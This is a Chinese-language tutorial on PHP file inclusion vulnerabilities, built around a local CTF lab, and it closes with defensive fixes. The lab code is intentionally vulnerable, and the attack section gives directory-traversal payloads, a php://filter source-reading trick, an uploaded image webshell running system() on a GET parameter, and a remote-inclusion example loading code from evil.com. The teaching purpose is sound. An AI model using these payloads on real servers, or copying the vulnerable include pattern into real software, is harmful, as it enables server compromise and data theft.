如果你是一名Web开发者,或者正在学习网络安全,那么“文件包含”这个词你一定不陌生。它听起来平平无奇,甚至有点枯燥,但却是Web安全领域里最经典、最危险、也最容易被开发者忽视的漏洞之一。很多人以为这只是CTF比赛里的“签到题”,但在真实的业务代码中,它往往潜藏在那些看似无害的“动态加载”逻辑里,一旦被利用,攻击者就能像拿到服务器钥匙一样,读取敏感文件、执行任意代码,甚至完全控制你的应用。
这篇文章要解决的,正是这个“熟悉的陌生人”。我们不止要讲清楚文件包含漏洞(File Inclusion Vulnerability)是什么,更要深入剖析它为什么危险,以及如何在日常开发中彻底避免它。你会发现,很多漏洞的产生,并非因为技术复杂,而是源于对几个基础函数(如PHP的include、require)的误用和信任过度。
本文将从一个实战靶场“[青岑网安]Web文件包含-1”入手,带你一步步拆解漏洞原理、亲手构造攻击、并最终给出从代码到配置的完整防护方案。无论你是想夯实安全基础的开发者,还是准备安全面试或CTF竞赛的学习者,这篇文章都将提供清晰的路径和可落地的代码。
1. 文件包含漏洞:被低估的“系统后门”
在深入技术细节前,我们先建立一个核心认知:文件包含漏洞的本质,是程序将“用户可控的输入”直接当作了“要加载的文件路径”。这相当于把“打开哪扇门”的决定权交给了来访的客人。
1.1 它解决了什么问题?(为什么需要文件包含?)
文件包含本身是一个优秀的程序设计思想,旨在提升代码的复用性和可维护性。例如:
- 模块化:将头部(header)、尾部(footer)、导航栏(navbar)等公共部分写成独立文件,在不同页面重复引入。
- 配置集中管理:将数据库配置、常量定义放在
config.php中,需要时包含即可。 - 动态加载:根据用户选择的语言(
?lang=en)加载对应的语言包文件en.php。
如果没有文件包含,我们可能需要在每个页面重复编写上百行相同的HTML代码,或者用复杂的条件判断来拼接内容,这显然是不可接受的。因此,文件包含机制本身无罪,问题出在使用方式上。
1.2 漏洞的严重性:远不止“读个文件”
很多初学者认为文件包含只能读取服务器上的一些文本文件,危害有限。这是一个巨大的误区。它的危害链可以非常深:
- 敏感信息泄露:读取
/etc/passwd(系统用户信息)、config.php(数据库密码)、../.env(环境变量)。 - 远程代码执行(RCE):这是最危险的后果。如果包含了一个可被用户控制的文件(比如上传的图片马),或者利用PHP的封装协议(如
php://input),攻击者就能在服务器上执行任意命令,完全接管应用。 - 攻击内网:通过包含
http://内网IP/config.php等方式,可能成为攻击内部网络的跳板。 - 拒绝服务(DoS):包含一个无限循环或消耗巨大资源的文件,拖垮服务器。
可以说,一个高危的文件包含漏洞,其破坏力不亚于SQL注入或命令执行。
2. 核心概念与漏洞原理拆解
2.1 文件包含的类型
主要分为两类,其区别直接影响利用难度:
| 类型 | 函数示例 (PHP) | 特点 | 利用难度 |
|---|---|---|---|
| 本地文件包含(LFI) | include,require,include_once,require_once | 包含服务器本地的文件。 | 相对较低,需要能构造或猜测文件路径。 |
| 远程文件包含(RFI) | include,require(需allow_url_include=On) | 包含远程服务器上的文件(如http://evil.com/shell.txt)。 | 较高,需要特定配置开启,但危害极大。 |
关键点:include和require的主要区别在于错误处理(require出错会致命,include会警告),但对于漏洞利用而言,它们的行为是一致的。
2.2 漏洞产生的核心代码模式
漏洞产生的根源代码通常长这样:
// vulnerable.php <?php $page = $_GET['page']; // 用户直接控制输入 include($page . '.php'); // 未经过滤,直接拼接并包含 ?>这段代码的意图可能是:当用户访问vulnerable.php?page=home时,程序会包含home.php文件。但攻击者可以构造:
?page=../../../../etc/passwd:尝试穿越目录,读取系统文件。?page=php://filter/convert.base64-encode/resource=config:使用PHP过滤器读取源码(避免被直接执行)。- 如果
allow_url_include开启,甚至可以直接?page=http://evil.com/shell.txt。
2.3 路径遍历(Directory Traversal)与封装协议
这是利用LFI的两大“武器”:
- 路径遍历(../):利用
../向上返回目录,突破程序设定的包含目录限制,访问系统任意文件。 - PHP封装协议:PHP提供了一系列类似“协议”的包装器,用于访问各种资源。在文件包含中,它们成了“神兵利器”。
php://filter:用于读取文件源码(常用convert.base64-encode过滤器)。php://input:用于执行POST请求体中的PHP代码(需allow_url_include=On)。data://:直接在URL中嵌入代码执行(需allow_url_include=On)。
理解这些,你就掌握了文件包含漏洞利用的“弹药”。
3. 靶场实战:[青岑网安]Web文件包含-1 环境搭建
为了让你有最直观的感受,我们基于常见CTF题型,模拟并构建一个名为“[青岑网安]Web文件包含-1”的靶场环境。你可以轻松在本地复现。
3.1 环境准备
- 操作系统:Windows/Linux/macOS 均可
- Web服务器:Apache 或 Nginx
- PHP环境:PHP 5.4+ (建议7.x,用于演示漏洞和修复)
- 代码编辑器:VS Code, Sublime Text 等
最简单的方式是使用集成的环境包,如XAMPP或PHPStudy,一键安装Apache、MySQL和PHP。
3.2 靶场代码结构
在你的Web根目录(如htdocs或www)下创建如下文件:
/var/www/html/ (或 C:\xampp\htdocs\) │ ├── index.php # 主页,包含漏洞点 ├── secret_flag.php # 隐藏的Flag文件 ├── pages/ │ ├── home.php │ ├── about.php │ └── contact.php └── uploads/ # 假设的文件上传目录3.3 漏洞代码实现
index.php (存在漏洞的版本)
<!DOCTYPE html> <html> <head> <title>[青岑网安] 文件包含漏洞演示 - LFI</title> </head> <body> <h1>欢迎来到文件包含漏洞演示站</h1> <p>这是一个模拟存在本地文件包含(LFI)漏洞的页面。</p> <ul> <li><a href="?page=home">首页</a></li> <li><a href="?page=about">关于</a></li> <li><a href="?page=contact">联系</a></li> </ul> <hr> <div id="content"> <?php // 【漏洞点】直接接收用户输入,未做任何过滤和校验 if (isset($_GET['page'])) { $filename = $_GET['page']; // 危险操作:直接拼接后缀后包含 include('./pages/' . $filename . '.php'); } else { echo "<p>请从上方选择页面。</p>"; } ?> </div> <hr> <p><small>提示:Flag藏在 secret_flag.php 文件中。</small></p> </body> </html>pages/home.php
<h2>主页内容</h2> <p>这是网站的主页内容。</p>secret_flag.php
<?php // 这是一个隐藏的Flag文件,正常情况下不应被直接访问 $flag = "QCFLAG{LFI_Vuln_Exploited_Successfully!}"; // 在实际CTF中,Flag可能被输出或需要特定方式获取 echo "Congratulations! You found the flag: " . $flag; ?>4. 漏洞利用实战:从读取Flag到代码执行
现在,靶场已经就绪。我们以攻击者视角,一步步利用这个漏洞。
4.1 第一步:基础路径遍历,读取Flag
访问:http://localhost/index.php?page=home这是正常功能,会包含./pages/home.php。
攻击尝试1:目录穿越我们的目标是读取同目录下的secret_flag.php。我们需要让include跳出./pages/目录。 构造Payload:http://localhost/index.php?page=../secret_flag
$_GET['page']的值是../secret_flag- 拼接后成为
./pages/../secret_flag.php - 路径规范化后就是
./secret_flag.php,成功包含目标文件。
访问该链接,页面上应该会显示:“Congratulations! You found the flag: QCFLAG{LFI_Vuln_Exploited_Successfully!}”
攻击尝试2:读取系统文件(Linux环境)假设服务器是Linux,我们可以尝试读取/etc/passwd。 Payload:http://localhost/index.php?page=../../../../etc/passwd通过多次../返回到根目录,再进入/etc目录。如果Web服务器有读取权限,用户列表就会显示在页面上。
4.2 第二步:使用PHP过滤器读取源码
有时,直接包含.php文件会导致其被执行,我们看不到源代码。这时php://filter协议就派上用场了。它可以对数据流进行过滤处理。
目标:读取index.php的源代码Payload:http://localhost/index.php?page=php://filter/convert.base64-encode/resource=index
php://filter:使用过滤器。convert.base64-encode:将资源内容进行base64编码。resource=index:指定要读取的资源是index(程序会拼接.php,所以最终是index.php)。
访问后,页面显示的不再是HTML,而是一串Base64编码的字符串(如PD9waHAg...)。我们将这串字符复制,使用Base64解码工具(或在线解码)即可还原出index.php的完整源代码。这暴露了网站的核心逻辑,为进一步攻击铺平道路。
4.3 第三步:利用文件上传实现代码执行(组合拳)
这是LFI漏洞危害升级的关键。如果网站同时存在文件上传漏洞,攻击者可以上传一个包含恶意代码的图片文件(图片马),然后通过LFI漏洞去包含这个图片,从而实现远程代码执行。
模拟场景:
- 假设网站有一个不检查文件内容的头像上传功能,我们上传一个名为
evil.jpg的文件,内容为:<?php phpinfo(); system($_GET['cmd']); ?> - 文件被保存到
/uploads/evil.jpg。 - 此时,利用LFI漏洞去包含它:
http://localhost/index.php?page=../uploads/evil- 拼接后:
./pages/../uploads/evil.jpg->./uploads/evil.jpg - 服务器会尝试将
.jpg文件当作.php来解析(如果服务器配置了不当的MIME类型或解析漏洞),其中的PHP代码phpinfo()和system()就会被执行。
- 拼接后:
- 进一步,我们可以传递命令:
http://localhost/index.php?page=../uploads/evil&cmd=whoami这样就能在服务器上执行whoami命令,返回当前Web服务的运行用户。
4.4 第四步:远程文件包含(RFI)演示
RFI的利用条件更苛刻,需要php.ini中allow_url_fopen和allow_url_include均设置为On。在生产环境中极少开启。
模拟环境配置(仅供学习,切勿在生产环境开启):
- 找到
php.ini文件。 - 修改以下两行:
allow_url_fopen = On allow_url_include = On - 重启Web服务器。
攻击利用: 攻击者在自己的服务器http://evil.com/上放置一个内容为<?php phpinfo();?>的shell.txt文件。 然后访问:http://localhost/index.php?page=http://evil.com/shell服务器会去远程包含这个文件,并将其中的PHP代码执行,在页面上输出phpinfo()信息。这意味着攻击者可以完全控制服务器去加载并执行任何远程代码。
5. 漏洞修复:从白名单到安全编程
理解了攻击手段,修复就变得有针对性。核心原则:永远不要信任用户输入。
5.1 方案一:白名单过滤(最推荐)
只允许包含预设的、已知安全的文件。
// fixed_index.php - 白名单方案 <?php $allowed_pages = ['home', 'about', 'contact']; // 定义允许的页面列表 if (isset($_GET['page'])) { $filename = $_GET['page']; // 检查用户输入是否在白名单内 if (in_array($filename, $allowed_pages)) { include('./pages/' . $filename . '.php'); } else { // 非法请求,记录日志并返回错误 header('HTTP/1.1 403 Forbidden'); die('Access Denied: Invalid page requested.'); } } ?>这是最根本的解决方案,将风险降至最低。
5.2 方案二:严格路径校验
如果必须动态包含,则应对输入进行严格净化。
// fixed_index2.php - 路径校验方案 <?php if (isset($_GET['page'])) { $filename = basename($_GET['page']); // 使用 basename 去除路径部分,只保留文件名 $fullpath = './pages/' . $filename . '.php'; // 进一步校验:文件是否存在,且路径是否在允许的目录内 $realBase = realpath('./pages'); $realPath = realpath($fullpath); if ($realPath === false || strpos($realPath, $realBase) !== 0) { // 文件不存在或路径非法(路径穿越) die('Invalid file path.'); } include($fullpath); } ?>realpath()可以解析掉所有的../符号,strpos()检查最终路径是否以允许的目录开头。
5.3 方案三:禁用危险配置(针对RFI)
确保生产环境的php.ini配置安全:
; 禁用URL包含和打开 allow_url_fopen = Off allow_url_include = Off ; 限制包含路径(可选) open_basedir = /var/www/html/your_project/5.4 方案四:使用安全的替代方案
- 使用前端路由/模板引擎:现代PHP框架(如Laravel, Symfony)或模板引擎(如Twig, Blade)自身已对文件包含做了安全处理。
- 使用映射表:将用户输入映射到内部文件路径,而不是直接拼接。
$pageMap = [ 'home' => 'pages/home.php', 'about' => 'pages/about.php', ]; if (isset($pageMap[$_GET['page']])) { include($pageMap[$_GET['page']]); }
6. 最佳实践与安全开发建议
将安全融入开发流程,才能防患于未然。
6.1 开发阶段
- 代码审查:将
include,require,file_get_contents等函数的使用作为代码审查的重点。 - 使用静态分析工具:集成类似
PHPStan、SonarQube的工具,自动检测潜在的LFI/RFI漏洞模式。 - 安全培训:让团队成员都理解“用户输入不可信”这一黄金法则。
6.2 配置与部署
- 最小权限原则:运行Web服务的用户(如
www-data,nobody)应仅拥有对Web目录的必要读取权限,绝不能有对系统关键目录的读取或执行权限。 - 配置加固:如前所述,关闭
allow_url_include,设置open_basedir。 - 及时更新:保持PHP和Web服务器版本最新,修复已知的解析漏洞。
6.3 防御深度
- Web应用防火墙(WAF):部署WAF可以拦截常见的路径遍历(
../)和协议包装(php://)攻击Payload。 - 日志与监控:记录所有包含失败或尝试访问非法路径的请求,并设置告警。
7. 常见问题与排查思路
在实际开发和渗透测试中,你可能会遇到以下问题:
| 问题现象 | 可能原因 | 排查方式 | 解决方案 |
|---|---|---|---|
包含路径失败,报No such file or directory | 1. 路径拼接错误。 2. 文件权限不足。 3. open_basedir限制。 | 1. 打印realpath($fullpath)检查最终路径。2. 检查文件所有者与进程用户。 3. 查看PHP错误日志或 phpinfo()中的open_basedir设置。 | 1. 修正路径逻辑。 2. 调整文件权限(如 chmod 644)。3. 在 php.ini或虚拟主机配置中调整open_basedir。 |
包含.php文件时直接下载,不执行 | Web服务器未将.php文件配置给PHP解析器处理。 | 检查Apache的mod_php或Nginx的fastcgi配置是否正确关联了.php后缀。 | 正确配置服务器,确保.php文件由PHP-FPM或PHP模块处理。 |
使用php://filter时页面空白或报错 | 1. PHP版本过低不支持某些过滤器。 2. allow_url_fopen=Off影响了部分包装器。 | 1. 检查PHP版本。 2. 查看 phpinfo()中allow_url_fopen的值。 | 1. 升级PHP。 2. 如非必要,保持 allow_url_fopen=Off,这是安全配置。 |
| 修复后,合法功能也无法使用 | 白名单列表不完整或路径校验逻辑过于严格。 | 检查错误日志,确认被拦截的合法请求参数。 | 更新白名单或调整路径校验逻辑,确保业务正常。 |
| 攻击Payload被WAF拦截 | WAF规则匹配了攻击特征。 | 查看WAF拦截日志,确认触发的规则。 | 确认是攻击行为则忽略;如果是误报,需优化WAF规则或调整业务逻辑。 |
8. 总结:将安全意识变为编码习惯
通过“[青岑网安]Web文件包含-1”这个靶场的实战,我们完整经历了文件包含漏洞的“攻”与“防”。从看似无害的动态加载功能,到读取敏感文件、执行系统命令,这个漏洞的演变路径清晰地展示了安全问题的连锁反应。
对于开发者而言,关键不在于记住所有攻击Payload,而在于建立一种条件反射:每当在代码中写下include($_GET['xxx'])或类似将用户输入直接代入文件操作、数据库查询、系统命令的函数时,必须立刻停下来,思考输入是否可信,是否需要过滤、转义或校验。
文件包含漏洞是一个绝佳的教学案例,它用最简单的逻辑漏洞,揭示了Web安全最核心的原则。修复它的方法(白名单、路径校验、安全配置)也具有普适性,可以迁移到防御SQL注入、命令注入、XSS等其他漏洞上。
建议你将本文中的靶场代码在本地搭建起来,亲手尝试每一种攻击和修复方法。只有亲手“攻破”再亲手“加固”,这些安全知识才会真正内化为你的开发本能。在下次编写需要动态加载资源的代码时,你自然会选择更安全的那条路。